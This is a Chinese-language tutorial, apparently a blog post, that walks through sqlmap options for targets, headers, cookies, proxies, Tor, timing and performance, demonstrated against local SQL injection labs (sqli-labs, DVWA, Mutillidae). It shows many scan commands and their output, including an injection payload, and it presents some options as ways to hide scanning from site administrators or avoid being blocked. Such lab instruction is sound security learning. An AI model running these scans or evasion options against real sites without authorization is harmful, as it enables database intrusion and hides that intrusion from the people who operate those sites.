参数总结

参数 作用
-d 直接连接数据库
-u 指定url扫描
-l <文件名> 导入一个文件可以来自Burp和WebScarab代理记录的文件
-x 叫批量的目标保存到xml格式的文件进行扫描
-m 要指定的文件 多个目标URL保持到文件里,用-m进行多个扫描
-r Post提交方式,比如我们叫pros请求方到文件里面我们就可以用这个了
-g 用谷歌搜索引擎访问然后在进行扫描
-c 用配置文件进行扫描
-v 0-6 查看返回结果信息有0-6级

指定目标

参数 作用
-d 直接连接数据库
-u 指定url扫描
-l <文件名> 导入一个文件可以来自Burp和WebScarab代理记录的文件
-x 叫批量的目标保存到xml格式的文件进行扫描
-m 要指定的文件 多个目标URL保持到文件里,用-m进行多个扫描
-r Post提交方式,比如我们叫pros请求方到文件里面我们就可以用这个了
-g 用谷歌搜索引擎访问然后在进行扫描
-c 用配置文件进行扫描
-v 0-6 查看返回结果信息有0-6级

实际操作

-d参数

这个不是什么扫描而是连接查询数据库的信息

mysql表示数据库类型

1
python sqlmap -d "mysql://root:123456@192.168.0.103:3386/"

-u参数

1
sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" -p id -f    

-p是要指定的变量名之对这个变量进行检查探测
-f是检查检查指纹信息
总体来说就是检查这个URL里的username进行指纹检查看见查

1
2
3
4
5
6
7
8
9
10
11
12
>> sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" -p id -f      
.........
[*] starting @ 18:43:31 /2022-01-13/

[18:43:31] [INFO] resuming back-end DBMS 'mysql'
[18:43:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 1121=1121 AND 'VnrB'='VnrB

-l参数

1
sqkmap -r 请求保存的文件 -a

使用burpsuite log文件

用burp工具的请求的过程保存成一个log文件然后在用sqlmao读取log文件然后在漏洞的注入

 保存log文件
 在这里插入图片描述
 在这里插入图片描述命令

1
sqlmap -l a 

扫描会非常长后面可以加参数

-r参数

1
sqkmap -r 请求保存的文件

演示

a.txt文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.0.103
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.0.103
Connection: close
Referer: http://192.168.0.103/sqli-labs/Less-11/
Upgrade-Insecure-Requests: 1

uname=a&passwd=a&submit=Submit

扫描

1
2
3
4
5
6
7
8
zss@zss  ~  sqlmap -r a.txt
..............
[19:29:01] [INFO] parsing HTTP request from 'a.txt'
[19:29:01] [INFO] testing connection to the target URL
[19:29:01] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:29:01] [INFO] testing if the target URL content is stable
[19:29:02] [INFO] target URL content is stable
[19:29:02] [INFO] testing if POST parameter 'uname' is dynamic

-m参数

1
sqlmap -m 文件名

演示

a.txt文件内容

1
2
3
http://192.168.0.103/sqli-labs/Less-1/?id=1
http://192.168.0.103/sqli-labs/Less-2/?id=1
http://192.168.0.103/sqli-labs/Less-3/?id=1

扫描

1
2
3
4
5
6
7
8
9
10
>>> sqlmap -m a.txt
.........
st from 'a.txt'
[19:20:54] [INFO] found a total of 3 targets
URL 1:
GET http://192.168.0.103/sqli-labs/Less-1/?id=1
do you want to test this URL? [Y/n/q]
> y
[19:20:56] [INFO] testing URL 'http://192.168.0.103/sqli-labs/Less-1/?id=1'
[19:20:56] [INFO] resuming back-end DBMS 'mysql'

-c参数

这个我们可以指定他的配置文件进行扫描

他的配置文件在/etc/sqlmap/sqlmap.conf

1
sqlmap -c /etc/sqlmap/sqlmap.conf

请求

参数 作用
-A 修改User-Agent头的就是我们的识别浏览器的
-H 修改X-Forwarded-For头的他是客户端最原始的IP地址
–method 用于强制修改请求的方式,比如get或者post
–data 通过POST发送的数据字符串(例如“id=1”)
–param-del 变量分隔符
–cookie 修改Cookie 标头值
检查注入点(–level>=至少是2)
–cookie-del 用于分割 cookie 值的字符(例如 ;)
–drop-set-cookie sqlmap扫描他会用上一个我们设置的cookie,可以用这个去掉
–random-agent 随机一个User-Agent 标头值
检查注入点(–level >= 3 )
–host 修改Host的值
检查注入点(–level >= 5 )
–referer 修改Referer的值
检查注入点(–level>=3 )
–headers 他可以单个请求头或者是多个请求头
–auth-type/–auth-cred 基于HTTP协议的身份验证,登录
–ignore-code 忽略(有问题的)HTTP 错误代码(例如 401)
–ignore-proxy 忽略系统默认代理设置
–ignore-redirects 忽略重定向尝试
–ignore-timeouts 忽略连接超时
–proxy 使用代理
–proxy-cred 如果代理有帐号密码用这个
–proxy-file 多个代理,使用的是文件
–proxy-freq 从给定列表更改代理之间的请求
–tor 使用 Tor 匿名网络
–delay 设置扫描时间
–timeout 设置超时时间
–retries 尝试连接
–randomize 随机化参数
–safe-url 测试时经常访问的URL地址[视频教程][https://www.bilibili.com/video/BV1bJ41177mD?p=7]
–safe-post POST 数据以发送到安全的 URL[视频教程][https://www.bilibili.com/video/BV1bJ41177mD?p=7]
–safe-req 从文件加载安全的 HTTP 请求[视频教程][https://www.bilibili.com/video/BV1bJ41177mD?p=7]
–safe-freq 访问安全 URL 之间的定期请求[视频教程][https://www.bilibili.com/video/BV1bJ41177mD?p=7]
–csrf-token 用于保存anti-CSRF令牌的参数
–csrf-url 提取反 CSRF 令牌要访问的 URL 地址
–csrf-method 在反 CSRF 令牌页面访问期间使用的 HTTP 方法
–csrf-retries 重试反 CSRF 令牌检索(默认 0)
–force-ssl 强制使用 SSL/HTTPS
–chunked 使用 HTTP 分块传输编码 (POST) 请求
–hpp 使用HTTP参数污染方式
–eval

实际操作

-A参数

默认发的探测包不是其他想IE浏览器或者是其他浏览器发的包默认撒sqlmap发的
这样的话网站管理员就会发现有人用sqlmap在扫那
在这里插入图片描述

自己指定user-agent

命令

1
sqlmap  -u "http://192.168.0.103/sqli-labs/Less-1/\?id\=1"  -A aaaaa

可以看见是aaa
在这里插入图片描述

-H参数

修改X-Forwarded-For头的他是客户端最原始的IP地址

sqlmap没有添加-H

1
2
3
4
5
6
7
GET /sqli-labs/Less-1/\?id%5C=1 HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.2#stable (http://sqlmap.org)
Host: 192.168.0.103
Accept: */*
Accept-Encoding: gzip,deflate
Connection: close

添加后的sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/\?id\=1" -H X-Forwarded-For:127.0.0.1

1
2
3
4
5
6
7
GET /sqli-labs/Less-1/\?id%5C=5818 HTTP/1.1
X-Forwarded-For: 127.0.0.1
User-Agent: sqlmap/1.5.2#stable (http://sqlmap.org)
Host: 192.168.0.103
Accept: */*
Accept-Encoding: gzip,deflate
Connection: close

--method参数

扫描指定发的包GET和POST

用于强制修改请求的方式,比如get或者post

参数--method=GET或POST
命令

1
sqlmap  -u "http://192.168.0.103/sqli-labs/Less-1/\?id\=1"  --method=POST  

在这里插入图片描述

--data参数

他就是可以吧我们的post请求不用放到文件里面进行扫描我们就可以用这个--data参数

代码

1
sqlmap  -u "http://192.168.0.103/sqli-labs/Less-11/" --data="uname=a&passwd=a&submit=Submit"

是post请求的参数uname=a&passwd=a&submit=Submit

源请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.0.103
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.0.103
Connection: close
Referer: http://192.168.0.103/sqli-labs/Less-11/
Upgrade-Insecure-Requests: 1

uname=a&passwd=a&submit=Submit

--param-del参数

大部分都是用&进行分割的,有小部分可能用其他的分隔符比如;,我们就可以用–param-del指定分隔符

1
sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";"

–cookie参数

sqlmap 会自动检查cookie中的注入点(level>=至少是2)

可以用–cookie进行添加cookie

在浏览器里也可以找到cookie的
在这里插入图片描述
命令

1
sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6c9388ff1b30ee4c444e21b5a2aff95e"

在这里插入图片描述

注入检查

1
sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1" --level 2

在这里插入图片描述

–random-agent参数

–random-agent参数使用随机选择的 HTTP User-Agent 标头值

配置的user-agent在这个文件里/usr/share/sqlmap/data/txt/user-agents.txt
–random-agent会随机用上面这个文件里的user-agent
命令

1
sqlmap  -u "http://192.168.54.56/mutillidae/index.php?page=1"  --random-agent

看一下就不是sqlmap了
在这里插入图片描述

注入

检查 user-agent 中的注入点:level >= 3

检查 user-agent 中的注入点:level >= 3
user-agent也是存在sql注入的
sqlmap扫描 user-agent 是否存在sql注入不须level>= 3 才会看看user-agent 是否存在漏洞
命令

1
sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  --random-agent  --level 3

在这里插入图片描述

–host参数

修改Host的值

修改host头需要加上--host="xxxx"
命令

1
sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=1"  –-host="aaaaaaaa"

在这里插入图片描述

检查注入

扫描host头是否存在sql漏洞level >= 5 才可以

命令

1
sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  –-host="aaaaaaaa"  --level 5  --dbs

在这里插入图片描述

–referer参数

referer头是比如我们访问一个网页要跳转到另外一个网页原来的URL会在referer里

修改referer后面加上参数 --referer="要指定的referer"

1
sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=1"  --referer=="aaaaaaaa"

检查注入

referer是否存在sql注入漏洞–level>=3才可以

命令

1
sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  --referer=="aaaaaaaa"  --level 3  --dbs

在这里插入图片描述

–headers参数

他可以单个请求头或者是多个请求头

单个要修改的头参数--headers="头名:"要修改的东西""这个就不演示了

要是多个必须换行\n参数--headers="头名:"要修改的东西\n"头名:"要修改的东西"

这个我就用Host头和User-Agent头

1
sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=1"  --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA"

在这里插入图片描述
可以看见被修改了
在这里插入图片描述

–auth-type参数

他支持的类型Basic,Digest,NTLM

1
sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=身份认证类型 --auth-cred="帐号:密码"

image-20220113205954309

–proxy参数

参数--proxy="http://代理的ip:代理的端口"

1
sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=1" --proxy="http://127.0.0.1:8080"

–proxy-file参数

a.txt文件内容

1
2
3
http://127.0.0.1:8080
http://127.0.0.2:8080
http://127.0.0.3:8080

运行

1
sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=1"  --proxy-file a.txt

–tor参数

–tor是开启tor连接

他还有–tor-type指定代理的类型

HTTP、SOCKS4 或 SOCKS5(默认)

–tor-port指定tor端口

–check-tor检查 Tor 是否正确使用

我们需要安装tor

1
sudo apt install tor

启动tor

1
service tor start 

–delay参数

用sqlmap去扫描别人的网站会发送大量的请求可能目标服务器会发现你给你屏蔽掉,我们可以设置发送包的时间

1
2
3
--delay 要指定的时间			时间是秒
例如
--delay 0.5 就是每发送探测包的时间隔0.5秒发送一个

–timeout参数

1
--timeout  要设置的时间          默认为30秒,30要没有响就超时了

–retries参数

1
--retries  要设置的次数	比如超时时间设置30妙那么就是90妙

–randomize参数

我们在扫描一个点的时候都是用到一个id号,我们就可以用这个修改这个id号

1
sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" --randomize id 

他这个id指定的就是我们的参数

image-20220113221056973

设置时间参数

设置扫描时间

用sqlmap去扫描别人的网站会发送大量的请求可能目标服务器会发现你给你屏蔽掉,我们可以设置发送包的时间

1
--delay 要指定的时间				时间是秒

设置超时时间

1
--timeout  要设置的时间          默认为30秒,30要没有响就超时了

尝试连接

1
--retries  要设置的次数	比如超时时间设置30妙那么就是90妙

请求错误

如果你发送大量的错误请求就会被防护机制被注销掉可以用–safe-url每请求错误几次就放送正常的请求

1
--safe-url  要设置几次

性能优化

参数 作用
-o 打开所有优化开关
–predict-output 预测常见查询输出
–keep-alive 使用持久的 HTTP(s) 连接
–null-connection 在没有实际 HTTP 响应正文的情况下检索页面长度
–threads= 最大并发 HTTP(s) 请求数(默认 1)

实际操作

-O参数

-O就是用一个-O就是用代替下面的所有参数

–predict-output 预测公共查询输出
–keep-alive 使用永久HTTP(s)连接
–null-connection 没有实际HTTP响应正文的页长度

–predict-output参数

  • 通常sqlmap扫描时间不叫长可以用优化参数
  • 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
  • 版本名、用户名、密码、Privileges、role、数据库名称、表名、列名

  • 与 –threads 参数不兼容就是你用了–threads那就不能用了–predict-output

  • 统计表默认位置:/usr/share/sqlmap/data/txtcommon-outputs.txt

–keep-alive参数

  • 使用 http(s) 长连接,性能好

  • 与 –proxy 参数不兼容就是你用了–proxy 那就不能用了 –keep-alive

  • 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源(节省网络开销,但是会占用服务器资源,防止重复建立连接时被服务器端检测发现)

–null-connection参数

  • 只获取相应页面的大小值,而非页面具体内容

  • 通常用于盲注判断 真/假,降低网络带宽消耗

  • 与–text-only参数不兼容(基于页面内容的比较判断 真/假

–threads参数

  • 最大并发线程

  • 盲注时每个线程获取一个字符(7次请求)。获取完成后线程结果

  • 默认值为1,建议不要超过10,否则可能影响站点可用性

  • 与 –predict-output参数不兼容

注射选择

参数 作用
-p 是要指定的变量名之对这个变量进行检查探测
–skip 排除指定的扫描参数
–keep-alive 使用持久的 HTTP(s) 连接
–null-connection 在没有实际 HTTP 响应正文的情况下检索页面长度
–threads= 最大并发 HTTP(s) 请求数(默认 1)

-p参数

-p是要指定的变量名之对这个变量进行检查探测

1
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username

意思就是只对username这个变量进行检查

或者探测多个

1
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p 'username,password'

意思就是只对username和password变量进行检查

或者探测http头的内容

1
sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" -p "user-agent"

比如我注入user-agent

image-20220707142228992

--skip参数

排除指定的扫描参数

1
2
sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" --level=5 --skip="要指定的头"     
# 应为要>5才能扫描其他的参数